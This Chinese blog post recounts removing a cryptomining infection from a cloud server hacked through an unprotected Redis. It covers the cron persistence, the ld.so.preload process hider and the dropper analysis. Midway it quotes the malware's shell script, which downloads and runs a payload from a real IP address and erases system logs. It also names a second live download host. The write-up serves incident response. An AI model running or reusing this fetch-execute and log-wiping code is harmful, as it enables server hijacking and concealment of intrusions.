记一次Linux挖矿病毒的清除

起因是同学过年期间因阿里云的服务器Redis弱口令(好像是没设密码)被提权植入了挖矿病毒,CPU长期占用100%。

登录服务器后,首先使用Top命令,查看CPU占用。



发现CPU占用率达到100%,可是却没有相关占用高的进程。

想用apt安装一些软件,来协助查毒,结果全部报错,(后证明确实是病毒搞的鬼,清完毕后,apt就能正常使用了)



遂决定手动查毒试一试。

进入bin目录按照时间排序就发现了修改时间为19年2月8日的khugrepaged。正好是CPU第一次100%那天,阿里云发出警告的那天。



将他下载下来,通过VT查询,发现有多家报毒CoinMiner。使用IDA或Strings者提取字符串,发现有UPX壳,在本机通过upx -d命令进行脱壳。脱壳后再次提取字符串。


发现了大量类似XMR(门罗币缩写),矿池相关的字符串,无疑就是挖矿软件了。

但是删除重启后,还是会被二次创建。
这时可以使用类似下面的命令
find ./ -mtime +20 -a -mtime -50 -type f
表示寻找当前目录下(./),20天以前(-mtime +20)并且(-a)50天以内(-mtime -50)修改过的文件(-type f)。更多用法请自行扩展。

查看某个时间段内有哪些文件被修改过。(但是我这里没有用这种方式。)

其实,会被二次创建完全是情理之中。因为一般挖矿软件都是开源程序,病毒只是给与他特定的参数为病毒作者挖矿。
这时我首先想到去查看有无定时任务
通过crontab -l查看所有的定时任务。


通过crontab -r删除所有定时任务。

将定时任务中出现的2.jpg下载下来,发现其实是shell脚本。部分内容如下(完整的见附件):

#!/bin/bash
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

function b() {
pkill -f sourplum
pkill wnTKYg && pkill ddg* && rm -rf /tmp/ddg* && rm -rf /tmp/wnTKYg
rm -rf /tmp/qW3xT.2 /tmp/ddgs.3013 /tmp/ddgs.3012 /tmp/wnTKYg /tmp/2t3ik
rm -rf /boot/grub/deamon && rm -rf /boot/grub/disk_genius
rm -rf /tmp/*index_bak*
rm -rf /tmp/*httpd.conf*
rm -rf /tmp/*httpd.conf
rm -rf /tmp/a7b104c270
pkill -f kworkerds
pkill -f biosetjenkins
pkill -f AnXqV.yam
pkill -f xmrigDaemon
pkill -f xmrigMiner
.....省略.......
rm -rf /tmp/.uninstall* /tmp/.python* /tmp/.tables* /tmp/.mas
rm -rf /tmp/root.sh /tmp/pools.txt /tmp/libapache /tmp/config.json /tmp/bashf /tmp/bashg /tmp/libapache
chattr -i /tmp/kworkerds /var/tmp/kworkerds /var/tmp/config.json /tmp/.systemd-private-*
rm -rf /tmp/kworkerds /var/tmp/kworkerds /var/tmp/config.json /tmp/.systemd-private-* .systemd-private-*
chattr -i /usr/lib/libiacpkmn.so.3 && rm -rf /usr/lib/libiacpkmn.so.3
chattr -i /etc/init.d/nfstruncate && rm -rf /etc/init.d/nfstruncate
chattr -i /bin/nfstruncate && rm -rf /bin/nfstruncate
rm -rf /etc/rc*.d/S01nfstruncate /etc/rc.d/rc*.d/S01nfstruncate 
chattr -i /bin/ddus-uidgen /etc/init.d/acpidtd /etc/rc.d/rc*.d/S01acpidtd /etc/rc*.d/S01acpidtd /etc/ld.sc.conf
rm -rf /bin/ddus-uidgen /etc/init.d/acpidtd /etc/rc.d/rc*.d/S01acpidtd /etc/rc*.d/S01acpidtd /etc/ld.sc.conf
mkdir -p /opt/yilu/work/xig /opt/yilu/work/xige /usr/bin/bsd-port  
touch /opt/yilu/mservice /opt/yilu/work/xig/xig /opt/yilu/work/xige/xige /tmp/thisxxs /usr/bin/.sshd /usr/bin/bsd-port/getty  
chmod -x /opt/yilu/mservice /opt/yilu/work/xig/xig /opt/yilu/work/xige/xige /tmp/thisxxs /usr/bin/.sshd /usr/bin/bsd-port/getty  
chattr +i /opt/yilu/mservice /opt/yilu/work/xig/xig /opt/yilu/work/xige/xige /tmp/thisxxs /usr/bin/.sshd /usr/bin/bsd-port/getty
ps auxf|grep -v grep|grep -v "\_" |grep -v "kthreadd" |grep "\[.*\]"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "watchbog" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmrig" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmrigDaemon" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmrigMiner" | awk '{print $2}'|xargs kill -9
.....省略.......
ps auxf|grep -v grep|grep /usr/bin/.sshd|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|rep /usr/bin/bsd-port/getty | awk '{print $2}'|xargs kill -9
netstat -anp | grep 69.28.55.86:443 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep 185.71.65.238 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep 140.82.52.87 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :3333 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :4444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :5555 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :6666 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :7777 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :3347 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :14444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :14433 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :56415 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
}
function d() {
chattr -i /tmp/r1x
(curl -fsSL --connect-timeout 120 http://166.78.155.151/164 -o /tmp/r1x||wget http://166.78.155.151/164 -O /tmp/r1x)
chmod +x /tmp/r1x
/tmp/r1x
}
b
d
echo 0>/var/spool/mail/root
echo 0>/var/log/wtmp
echo 0>/var/log/secure
echo 0>/var/log/cron
#

该脚本的基本功能是关闭并删除其他的挖矿软件和病毒(对的,这个病毒还帮你杀毒23333)然后通过 hxxp://166.78.155.151/164 下载挖矿软件并运行。
然后喜闻乐见,删除重启后,还是再次生成了。

这时,我考虑先下手解决进程隐藏的问题。通过查阅一些资料。发现很多病毒会对 /etc/ld.so.preload 做手脚以达到提前运行的目的。

在 Linux 操作系统的动态链接库加载过程中,动态链接器会读取 LD_PRELOAD 环境变量的值和默认配置文件 /etc/ld.so.preload 的文件内容,并将读取到的动态链接库进行预加载,即使程序不依赖这些动态链接库,LD_PRELOAD 环境变量和 /etc/ld.so.preload 配置文件中指定的动态链接库依然会被装载,它们的优先级比 LD_LIBRARY_PATH 环境变量所定义的链接库查找路径的文件优先级要高,所以能够提前于用户调用的动态库载入。
                        ——段落引自《警惕利用 Linux 预加载型恶意动态链接库的后门》

查看该文件。


我们尝试删除 ld.so.preload。提示权限不足。

活学活用,在2.jpg的脚本用,看到了大量的chattr -i以及chattr +i的命令,尝试使用 chattr -i ld.so.preload,再进行rm操作就可以成功删除了。同理其他删除不掉的病毒文件。

ld.so.preload文件指向了/usr/local/lib/libftp.so
将libftp.so 拷贝出来后删除。
再尝试运行top命令,发现已经可以正常显示了。可以看到khugrepaged占了98%的CPU。


将libftp.so上传VT,报毒Processhider。很贴切的名字。对其进行简单的逆向分析。发现其Hook了readdir函数。并且发现了三个好玩的字符串。

khugrepaged是我们知道的挖矿程序,那么剩下两个呢。
通过 ps -aux| grep mdmisc 和 ps -aux| grep scsitgtd

看到了这两个文件的所在位置。使用 ls -al 列出隐藏文件。将mdmisc拷贝后删除。但是scsitgtd,bin目录下并没有找到。

我们先对mdmisc进行简单分析。字符串提取。



基本可以确定,khugrepaged就是他释放出来的。然后还修改了DNS等等的操作。
其中的一串命令如下

chattr -i /etc/init.d/mdmisc;rm -f /etc/init.d/mdmisc /etc/rc2.d/S20mdmisc
/etc/rc3.d/S20mdmisc /etc/rc4.d/S20mdmisc /etc/rc5.d/S20mdmisc;

查看其中的一个内容如下:


这个是用来启动mdmisc的。把这里相关的文件也进行删除

真正让人值得注意的是
chmod +x /bin/scsitgtd; /bin/scsitgtd; rm -f /bin/scsitgtd;
这句话。修改为可执行,运行后删除,这也就是为什么我们可以在进程中看到他,但是不能找到他的原因了。
对这个字符串做交叉引用,看是从哪里下载下来的。


可以看到是通过yxarsh.shop/165下载的。
我们请求一下,果然下载到了。upx脱壳后,IDA打开。
这是添加定时任务的代码逻辑:

主要功能逻辑:


剩下的就是把相关操作逆操作回来就好了。其实把这几个文件删了之后也就没什么大问题了。
令人惊讶的是,scsitgtd文件在VT上还没有一家报毒。23333,我是第一个上传的。


本人Linux苦手,有些地方记录可能不够专业。 行文也有些混乱还请表哥们多多指教,附上相关样本文件。我就不附SHA1了。
解压密码:infected

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 203,098评论 5 476
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 85,213评论 2 380
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 149,960评论 0 336
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,519评论 1 273
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,512评论 5 364
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,533评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,914评论 3 395
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,574评论 0 256
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,804评论 1 296
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,563评论 2 319
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,644评论 1 329
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,350评论 4 318
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,933评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,908评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,146评论 1 259
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 42,847评论 2 349
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,361评论 2 342

推荐阅读更多精彩内容

  • 官网 中文版本 好的网站 Content-type: text/htmlBASH Section: User ...
    不排版阅读 4,360评论 0 5
  • 一、Python简介和环境搭建以及pip的安装 4课时实验课主要内容 【Python简介】: Python 是一个...
    _小老虎_阅读 5,713评论 0 10
  • 1.Linux下如何用命令查看实时日志(完整命令) tail -f 路径.log查看前多少行 tai-200f 路...
    qianyewhy阅读 2,239评论 0 11
  • 一直以为自己和妈妈的关系是很亲密的,虽然妈妈经常抱怨我和爸爸比较有说有笑,而我却没有记忆了,走上自我成长之路以后才...
    竺子阅读 140评论 0 0
  • 懒散得不行,感觉最近一段时间什么都没有做。 天气逐渐热了,食欲却丝毫不减,眼睁睁看着自己的衣服都变小,体重不断地突...
    Ada_Bleau阅读 149评论 0 0